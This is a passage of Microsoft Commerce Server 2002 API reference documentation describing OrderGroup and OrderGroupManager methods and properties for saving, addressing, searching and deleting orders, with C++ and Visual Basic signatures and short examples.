Use this method to save the OrderGroup to the database with a template status.

Definition

[C++]
HRESULT _OrderGroup::SaveAsTemplate(
  VARIANT strTemplateName,
  VARIANT* pvtRetVal
);
[Visual Basic]
Function SaveAsTemplate(
  Optional strTemplateName As Variant
) As Variant

Parameters

strTemplateName [C++]
[in, optional] A VARIANT that specifies the template name.
strTemplateName [Visual Basic]
A Variant that specifies the template name.
pvtRetVal [C++]
[out, retval] A pointer to a VARIANT used to return the OrderGroupID of the template.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that specifies the OrderGroupID of the template.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRetVal parameter points to valid data only if the method completed successfully.

This method updates the OrderGroup template name field if the strTemplateName parameter is supplied.

If you originally loaded the OrderGroup from another state (ie a basket) and call SaveAsTemplate method, the original OrderGroup remains on disk unchanged.

When the OrderGroup.SaveAsOrder, SaveAsBasket, or SaveAsTemplate methods are called, four values are copied from the first OrderForm in the OrderGroup into the OrderGroup object itself. If any of these values already existed at the OrderGroup level, they are overwritten with the values copied from the OrderForm. If the value was Null or never set on the OrderForm, and the value was set on the OrderGroup, the OrderGroup value is overwritten with Null. The values replaced in the OrderGroup are user_first_name, user_last_name, billing_currency, and user_org_name.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' vResult is a Variant
vResult = oOrderGroup.SaveAsTemplate()

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::SaveAsBasket

[C++] _OrderGroup::SaveAsOrder

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.SaveAsBasket

[Visual Basic] OrderGroup.SaveAsOrder


_OrderGroup::SetAddress Method [C++]

OrderGroup.SetAddress Method [Visual Basic]

Use this method to add a specified address dictionary to the OrderGroup Addresses collection of the OrderGroup.

Definition

[C++]
HRESULT _OrderGroup::SetAddress(
  BSTR strAddressId,
  IDictionary* oAddressDict
);
[Visual Basic]
Sub SetAddress(
  strAddressId As String,
  oAddressDict As Object
)

Parameters

strAddressId [C++]
[in] A BSTR that specifies the address ID of the address to be added.
strAddressId [Visual Basic]
A String that specifies the address ID of the address to be added.
oAddressDict [C++]
[in] A pointer to the IDictionary interface that contains the address dictionary to be added.
oAddressDict [Visual Basic]
A Dictionary object that contains the address information to be added.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' oAddDict is an address Dictionary object
oOrderGroup.SetAddress("{AABBC9CC-C33E-11D0-B8A0-00C04FB616C7}", oAddDict)

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::SetAddressFromFields

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.SetAddressFromFields


_OrderGroup::SetAddressFromFields Method [C++]

OrderGroup.SetAddressFromFields Method [Visual Basic]

Use this method to set the OrderGroup address dictionary values as specified by the supplied Fields object. The column names in the field object will be mapped to dictionary keys names in the resultant address dictionary.

Definition

[C++]
HRESULT _OrderGroup::SetAddressFromFields(
  BSTR strAddressId,
  Fields* flds
);
[Visual Basic]
Sub SetAddressFromFields(
  strAddressId As String,
  flds As Object
)

Parameters

strAddressId [C++]
[in] A BSTR that specifies the address ID of the address dictionary to be added.
strAddressId [Visual Basic]
A String that specifies the address ID of the address dictionary to be added.
flds [C++]
[in] A reference to a Fields object that contains the address information to be added.
flds [Visual Basic]
A Fields object that contains the address information to be added.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOG is a Commerce.OrderGroup object
' oFlds is a Fields object
oOG.SetAddressFromFields("{34ECC9CC-C33E-11D0-B8A0-00C04FB616C7}", _
    oFlds)

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::SetAddress

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.SetAddress


_OrderGroup::SetShippingAddress Method [C++]

OrderGroup.SetShippingAddress Method [Visual Basic]

Use this method to set the shipping address id for the specified line items.

Definition

[C++]
HRESULT _OrderGroup::SetShippingAddress(
  BSTR address_id,
  VARIANT_BOOL bOverWrite,
  VARIANT nItemIndex,
  VARIANT strOrderFormName
);
[Visual Basic]
Sub SetShippingAddress(
  address_id As String,
  Optional bOverWrite As Boolean,
  Optional nItemIndex As Variant,
  Optional strOrderFormName As Variant
)

Parameters

address_id [C++]
[in] A BSTR that specifies the address ID to designate as the shipping address.
address_id [Visual Basic]
A String that specifies the address ID to designate as the shipping address.
bOverWrite [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that indicates whether to overwrite the shipping_address_id, if it already exists. A value of VT_TRUE indicates that an overwrite should occur. A value of VT_FALSE indicates that an overwrite should not occur.
bOverWrite [Visual Basic]
A Boolean that indicates whether to overwrite the shipping_address_id, if it already exists. A value of True indicates that an overwrite should occur. A value of False indicates that an overwrite should not occur.
nItemIndex [C++]
[in, optional] A VARIANT that specifies the line item index where the shipping_address_id will be set. If not specified, all line items will be set.
nItemIndex [Visual Basic]
A Variant that specifies the line item index where the shipping_address_id will be set. If not specified, all line items will be set.
strOrderFormName [C++]
[in, optional] A VARIANT that specifies the OrderForm on which to perform the operation. If not specified, all OrderForms will be used if nItemIndex is unspecified; otherwise, the "default" OrderForm will be used.
strOrderFormName [Visual Basic]
A Variant that specifies the OrderForm to perform the operation. If not specified, all OrderForms will be used if nItemIndex is unspecified; otherwise, the "default" OrderForm will be used.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The bOverWrite, nItemIndex, and strOrderFormName parameters work in a way similar to the same parameters in the PutItemValue method. Before performing the set operations, this method first ensures that the address id exists.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrdGrp is a Commerce.OrderGroup object
oOrdGrp.SetShippingAddress(("{34ECC9CC-C33E-11D0-B8A0-00C04FB616C7}", _
    True, 4, "testOrderFormName")

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup Properties [C++]

OrderGroup Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
LogFile | BSTR | Log file name for pipeline runs. Allows pipeline logging when set to a non-empty string. This property is read/write.
SavePrefix | BSTR | Specifies a key prefix that will prevent a dictionary entry from being saved to the database.
Value | VARIANT | Returns the OrderGroup object attributes.This property is read-only.
[Visual Basic]
Property | Type | Description
LogFile | String | Log file name for pipeline runs. Allows pipeline logging when set to a non-empty string. This property is read/write.
SavePrefix | String | Specifies a key prefix that will prevent a dictionary entry from being saved to the database.
Value | Variant | Returns the OrderGroup object attributes. This property is read-only.


_OrderGroup::get_LogFile, put_LogFile Property [C++]

OrderGroup.LogFile Property [Visual Basic]

The LogFile property is a read/write String that specifies the file name used for pipeline logging during the execution of the RunPipe method.

Definition

[C++]

Get method:

HRESULT _OrderGroup::get_LogFile(
  BSTR* LogFile
);

Put method:

HRESULT _OrderGroup::put_LogFile(
  BSTR LogFile
);
[Visual Basic]
Property LogFile As String

Parameters

LogFile [C++]
[in] When putting the property, a BSTR that contains the log file.
[out, retval] When getting the property, a pointer to a BSTR used to return the log file.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The LogFile parameter contains valid data only if the property is accessed successfully.

Set the LogFile parameter to an empty string ("") to disable logging.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] Set the LogFile parameter to an empty string ("") to disable logging.

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::get_SavePrefix, put_SavePrefix Property [C++]

OrderGroup.SavePrefix Property [Visual Basic]

Specifies a key prefix that will prevent a dictionary entry from being saved to the database.

Definition

[C++]

Get method:

HRESULT _OrderGroup::get_SavePrefix(
  BSTR* SavePrefix
);

Put method:

HRESULT _OrderGroup::put_SavePrefix(
  BSTR SavePrefix
);
[Visual Basic]
Property SavePrefix() As String

Parameters

SavePrefix [C++]
[in] When putting the property, a BSTR that contains the save prefix.
[out, retval] When getting the property, a pointer to a BSTR used to return the save prefix.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Value parameter contains valid data only if the property is accessed successfully.

No dictionary entry that has a key name that begins with the value of the SavePrefix roperty will be saved to the database. Assuming that the SavePrefix property is set to the underscore character ("_"), if the value of _adjusted_price is $ 200 and the value of total_price is $ 400, then $ 200 will not be persisted, but $ 400 will be persisted.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::get_Value Property [C++]

OrderGroup.Value Property [Visual Basic]

The Value property is a read-only Variant that contains the OrderGroup-level attributes as a dictionary.

Definition

[C++]
HRESULT _OrderGroup::get_Value(
  VARIANT* Value
);
[Visual Basic]
Property Value As Variant

Parameters

Value [C++]
[out, retval] A pointer to a VARIANT used to return the Value dictionary.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Value parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


OrderGroupManager Object [C++]

OrderGroupManager Object [Visual Basic]

Use this object to manage OrderGroup objects and their contents. This object allows you to search for orders or baskets without having to use SQL queries. It also allows for OrderGroup object deletions.

ProgID: | Commerce.OrderGroupManager (Externally creatable)
COM Class Name: | OrderGroupManager
Type Library Name: | Microsoft Commerce 2002 OrderGroup Type Library
DLL Name: | requisition.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _OrderGroupManager
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the _OrderGroupManager interface to access the properties and methods of the OrderGroupManager object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
DeleteOrderGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as baskets and templates.
DeleteReceiptGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as orders.
Find | Performs a search based on the specified SQL clause fragments.
FindTemplatesForUser | Finds an ADO recordset of OrderGroup object templates for the specified user. Returns an ADO recordset of the search results.
GetOrderSummary | Returns a recordset containing the summary information for the order.
Initialize | Creates a connection to the specified database.
SimpleDelete | Deletes all entries that meet the search criteria as specified by the supplied SimpleFindSearchInfo and SimpleFindResultInfo objects.
SimpleFind | Returns an ADO recordset of OrderGroup object items based on the specified SimpleFindSearchInfo object values and SimpleFindResultInfo object values. These object values contain the search criteria.
[Visual Basic]
Method | Description
DeleteOrderGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as baskets and templates.
DeleteReceiptGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as orders.
Find | Performs a search based on the specified SQL clause fragments.
FindTemplatesForUser | Finds an ADO recordset of OrderGroup object templates for the specified user. Returns an ADO recordset of the search results.
GetOrderSummary | Returns a recordset containing the summary information for the order.
Initialize | Creates a connection to the specified database.
SimpleDelete | Deletes all entries that meet the search criteria as specified by the supplied SimpleFindSearchInfo and SimpleFindResultInfo objects.
SimpleFind | Returns an ADO recordset of OrderGroup object items based on the specified SimpleFindSearchInfo object values and SimpleFindResultInfo object values. These object values contain the search criteria.

Properties

[C++]
Property | Type | Description
DebugReturnSQL | VARIANT_BOOL | Determines if methods of this object will run a SQL Server query and return the resulting recordset, or if it will construct the SQL Server query and return the query string. This property is read/write.
OrderFormHeaderColumns | VARIANT | Returns a string of comma-separated OrderFormHeader table column names. This property is read-only.
OrderFormLineItemsColumns | VARIANT | Returns a string of comma-separated OrderFormLineItems table column names. This property is read-only.
OrderGroupColumns | VARIANT | Returns a string of comma-separated OrderGroup table column names. This property is read-only.
[Visual Basic]
Property | Type | Description
DebugReturnSQL | Boolean | Determines if methods of this object will run a SQL Server query and return the resulting recordset, or if it will construct the SQL Server query and return the query string. This property is read/write.
OrderFormHeaderColumns | Variant | Returns a string of comma-separated OrderFormHeader table column names. This property is read-only.
OrderFormLineItemsColumns | Variant | Returns a string of comma-separated OrderFormLineItems table column names. This property is read-only.
OrderGroupColumns | Variant | Returns a string of comma-separated OrderGroup table column names. This property is read-only.

See Also

[C++] Business Process Objects

[C++] OrderGroup Object

[C++] OrderForm Object

[C++] SimpleFindSearchInfo Object

[C++] SimpleFindResultInfo Object

[Visual Basic] Business Process Objects

[Visual Basic] OrderGroup Object

[Visual Basic] OrderForm Object

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] SimpleFindResultInfo Object


_OrderGroupManager Methods [C++]

OrderGroupManager Methods [Visual Basic]

Methods

[C++]
Method | Description
DeleteOrderGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as baskets and templates.
DeleteReceiptGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as orders.
Find | Performs a search based on the specified SQL clause fragments.
FindTemplatesForUser | Finds an ADO recordset of OrderGroup object templates for the specified user. Returns an ADO recordset of the search results.
GetOrderSummary | Returns a recordset containing the summary information for the order.
Initialize | Creates a connection to the specified database.
SimpleDelete | Deletes all entries that meet the search criteria as specified by the supplied SimpleFindSearchInfo and SimpleFindResultInfo objects.
SimpleFind | Returns an ADO recordset of OrderGroup object items based on the specified SimpleFindSearchInfo object values and SimpleFindResultInfo object values. These object values contain the search criteria.
[Visual Basic]
Method | Description
DeleteOrderGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as baskets and templates.
DeleteReceiptGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as orders.
Find | Performs a search based on the specified SQL clause fragments.
FindTemplatesForUser | Finds an ADO recordset of OrderGroup object templates for the specified user. Returns an ADO recordset of the search results.
GetOrderSummary | Returns a recordset containing the summary information for the order.
Initialize | Creates a connection to the specified database.
SimpleDelete | Deletes all entries that meet the search criteria as specified by the supplied SimpleFindSearchInfo and SimpleFindResultInfo objects.
SimpleFind | Returns an ADO recordset of OrderGroup object items based on the specified SimpleFindSearchInfo object values and SimpleFindResultInfo object values. These object values contain the search criteria.


_OrderGroupManager::DeleteOrderGroupFromDisk Method [C++]

OrderGroupManager.DeleteOrderGroupFromDisk Method [Visual Basic]

Use this method to check whether a connection to the site database has been established for the specified OrderGroup object, and then delete the OrderGroup object and all objects contained within it from the database. Use this method when the state of the OrderGroup object is set to basket or template.

Definition

[C++]
HRESULT _OrderGroupManager::DeleteOrderGroupFromDisk(
  BSTR OrderGroupID
);
[Visual Basic]
Sub DeleteOrderGroupFromDisk(
  OrderGroupID As String
)

Parameters

OrderGroupID [C++]
[in] A BSTR that contains the OrderGroup object ID.
OrderGroupID [Visual Basic]
A String that contains the OrderGroup object ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sOrderGroupID is a string containing a valid OrderGroupID
' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.DeleteOrderGroupFromDisk(sOrderGroupID)

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


_OrderGroupManager::DeleteReceiptGroupFromDisk Method [C++]

OrderGroupManager.DeleteReceiptGroupFromDisk Method [Visual Basic]

Use this method to delete an OrderGroup object and all objects contained within it from the site database, when the state of the OrderGroup object is set to order.

Definition

[C++]
HRESULT _OrderGroupManager::DeleteReceiptGroupFromDisk(
  BSTR OrderGroupID
);
[Visual Basic]
Sub DeleteOrderGroupFromDisk(
  OrderGroupID As String
)

Parameters

OrderGroupID [C++]
[in] A BSTR that contains the OrderGroup object ID.
OrderGroupID [Visual Basic]
A String that contains the OrderGroup object ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sOrderGroupID is a string containing a valid OrderGroupID
' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.DeleteReceiptGroupFromDisk(sOrderGroupID)

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


_OrderGroupManager::Find Method [C++]

OrderGroupManager.Find Method [Visual Basic]

Use this method to perform a search based on the specified SQL clause fragments.

Definition

[C++]
HRESULT _OrderGroupManager::Find(
  VARIANT OrderGroupCriteriaArray,
  VARIANT OrderFormCriteriaArray,
  VARIANT LineItemCriteriaArray,
  VARIANT SearchDateTimeColumn,
  VARIANT SearchDateTimeStart,
  VARIANT SearchDateTimeEnd,
  long StatusFilter,
  VARIANT_BOOL JoinOrderFormInfo,
  VARIANT_BOOL JoinLineItemInfo,
  VARIANT Columns,
  VARIANT OrderGroupSortColumn,
  VARIANT SortDirection,
  long PageSize,
  long PageNumber,
  VARIANT* outTotalRecordsFound,
  VARIANT* vtResults
);
[Visual Basic]
Function Find(
  OrderGroupCriteriaArray As Variant,
  OrderFormCriteriaArray As Variant,
  LineItemCriteriaArray As Variant,
  Optional SearchDateTimeColumn As Variant,
  Optional SearchDateTimeStart As Variant,
  Optional SearchDateTimeEnd As Variant,
  Optional StatusFilter As Long,
  Optional JoinOrderFormInfo As Boolean,
  Optional JoinLineItemInfo As Boolean,
  Optional Columns As Variant,
  Optional OrderGroupSortColumn As Variant,
  Optional SortDirection As Variant,
  Optional PageSize As Long,
  Optional PageNumber As Long,
  Optional outTotalRecordsFound As Variant
) As Variant

Parameters

OrderGroupCriteriaArray [C++]
[in] A VARIANT that contains the SQL clause used to search for a specific set of order groups.
OrderGroupCriteriaArray [Visual Basic]
A Variant that contains the SQL clause used to search for a specific set of order groups.
OrderFormCriteriaArray [C++]
[in] A VARIANT that contains the SQL clause used to search for a specific set of order forms.
OrderFormCriteriaArray [Visual Basic]
A Variant that contains the SQL clause used to search for a specific set of order forms.
LineItemCriteriaArray [C++]
[in] A VARIANT that contains the SQL clause used to search for a specific set of line items.
LineItemCriteriaArray [Visual Basic]
A Variant that contains the SQL clause used to search for a specific set of line items.
SearchDateTimeColumn [C++]
[in, optional] A VARIANT that specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria.
SearchDateTimeColumn [Visual Basic]
A Variant that specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria. This parameter is optional.
SearchDateTimeStart [C++]
[in, optional] A VARIANT that specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria.
SearchDateTimeStart [Visual Basic]
A Variant that specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. This parameter is optional.
SearchDateTimeEnd [C++]
[in, optional] A VARIANT that specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria.
SearchDateTimeEnd [Visual Basic]
A Variant that specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. This parameter is optional.
StatusFilter [C++]
[in, optional, defaultvalue (0)] A long that stores the order group status.
StatusFilter [Visual Basic]
A Long that stores the order group status. This parameter is optional.
JoinOrderFormInfo [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL indicating whether to include the OrderFormHeader table in the results.
JoinOrderFormInfo [Visual Basic]
A Boolean indicating whether to include the OrderFormHeader table in the results. This parameter is optional.
JoinLineItemInfo [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL indicating whether to include the OrderFormLineItems table in the results.
JoinLineItemInfo [Visual Basic]
A Boolean indicating whether to include the OrderFormLineItems table in the results. This parameter is optional.
Columns [C++]
[in, optional] A VARIANT that contains the names of the columns to return in addition to the default columns.
Columns [Visual Basic]
A Variant that contains the names of the columns to return in addition to the default columns. This parameter is optional.
OrderGroupSortColumn [C++]
[in, optional] A VARIANT that contains the OrderGroup column name on which to sort.
OrderGroupSortColumn [Visual Basic]
A Variant that contains the OrderGroup column name on which to sort. This parameter is optional.
SortDirection [C++]
[in, optional] A VARIANT that contains the sort direction. This parameter is optional. Possible values for this parameter are the SQL strings "ASC" or "DESC".
SortDirection [Visual Basic]
A Variant that contains the sort direction. This parameter is optional. Possible values for this parameter are the SQL strings "ASC" or "DESC".
PageSize [C++]
[in, optional, defaultvalue (20)] A long that contains the number of line items per page. With this method, you can implement a paging mechanism that allows you to page through your orders. (These could be viewed in a list sheet, for example.) This parameter setting must be coordinated with the PageNumber parameter.
PageSize [Visual Basic]
A Long that contains the number of line items per page. With this method, you can implement a paging mechanism that allows you to page through your orders. (These could be viewed in a list sheet, for example.) This parameter setting must be coordinated with the PageNumber parameter. This parameter is optional and has a default value of 20.
PageNumber [C++]
[in, optional, defaultvalue (1)] A long that contains the page number to jump to. With this method, you can implement a paging mechanism that allows you to page through your orders. (These could be viewed in a list sheet, for example.) This parameter setting must be coordinated with the PageSize parameter.
PageNumber [Visual Basic]
A Long that contains the page number to jump to. With this method, you can implement a paging mechanism that allows you to page through your orders. (These could be viewed in a list sheet, for example.) This parameter setting must be coordinated with the PageSize parameter. This parameter is optional.
outTotalRecordsFound [C++]
[out] A pointer to a VARIANT that specifies the total number of records found.
outTotalRecordsFound [Visual Basic]
A Variant that specifies the total number of records found.
vtResults [C++]
[out, retval] A pointer to a VARIANT used to return the recordset containing the result set that meets the search criteria.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns Variant that contains the recordset containing the result set that meets the search criteria.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The vtResults parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vRecordset is a Variant
' vOrderGroupCriteriaArray is a Variant
' vOrderFormCriteriaArray is a Variant
' vLineItemCriteriaArray is a Variant
' oOrderGroupManager is a Commerce OrderGroupManager object
vRecordset = oOrderGroupManager.Find(vOrderGroupCriteriaArray, _
    vOrderFormCriteriaArray, vLineItemCriteriaArray)

See Also

[C++] OrderGroupManager Object

[C++] _OrderGroupManager::SimpleFind

[Visual Basic] OrderGroupManager Object

[Visual Basic] OrderGroupManager.SimpleFind


_OrderGroupManager::FindTemplatesForUser Method [C++]

OrderGroupManager.FindTemplatesForUser Method [Visual Basic]

Use this method to build and return an ADO recordset of OrderGroup object templates for the specified user.

Definition

[C++]
HRESULT _OrderGroupManager::FindTemplatesForUser(
  BSTR UserId,
  VARIANT SearchDateTimeColumn,
  VARIANT SearchDateTimeStart,
  VARIANT SearchDateTimeEnd,
  VARIANT_BOOL JoinOrderFormInfo,
  VARIANT_BOOL JoinLineItemInfo,
  VARIANT Columns,
  VARIANT OrderGroupSortColumn,
  VARIANT SortDirection,
  long PageSize,
  long PageNumber,
  VARIANT* outTotalRecordsFound,
  VARIANT* pvtRetVal
);
[Visual Basic]
Function FindTemplatesForUser(
  UserId As String,
  Optional SearchDateTimeColumn As Variant,
  Optional SearchDateTimeStart As Variant,
  Optional SearchDateTimeEnd As Variant,
  Optional JoinOrderFormInfo As Variant,
  Optional JoinLineItemInfo As Variant,
  Optional Columns As Variant,
  Optional OrderGroupSortColumn As Variant,
  Optional SortDirection As Variant,
  Optional PageSize As Long,
  Optional PageNumber As Long,
  Optional outTotalRecordsFound As Variant
) As Variant

Parameters

UserId [C++]
[in] A BSTR that contains the user ID globally unique identifier (GUID).
UserId [Visual Basic]
A String that contains the user ID GUID.
SearchDateTimeColumn [C++]
[in, optional] A VARIANT that contains the DateTime column name to use in the search.
SearchDateTimeColumn [Visual Basic]
A Variant that contains the DateTime column name to use in the search. This parameter is optional.
SearchDateTimeStart [C++]
[in, optional] A VARIANT that contains the search DateTime start value.
SearchDateTimeStart [Visual Basic]
A Variant that contains the search DateTime start value. This parameter is optional.
SearchDateTimeEnd [C++]
[in, optional] A VARIANT that contains the search DateTime end value.
SearchDateTimeEnd [Visual Basic]
A Variant that contains the search DateTime end value. This parameter is optional.
JoinOrderFormInfo [C++]
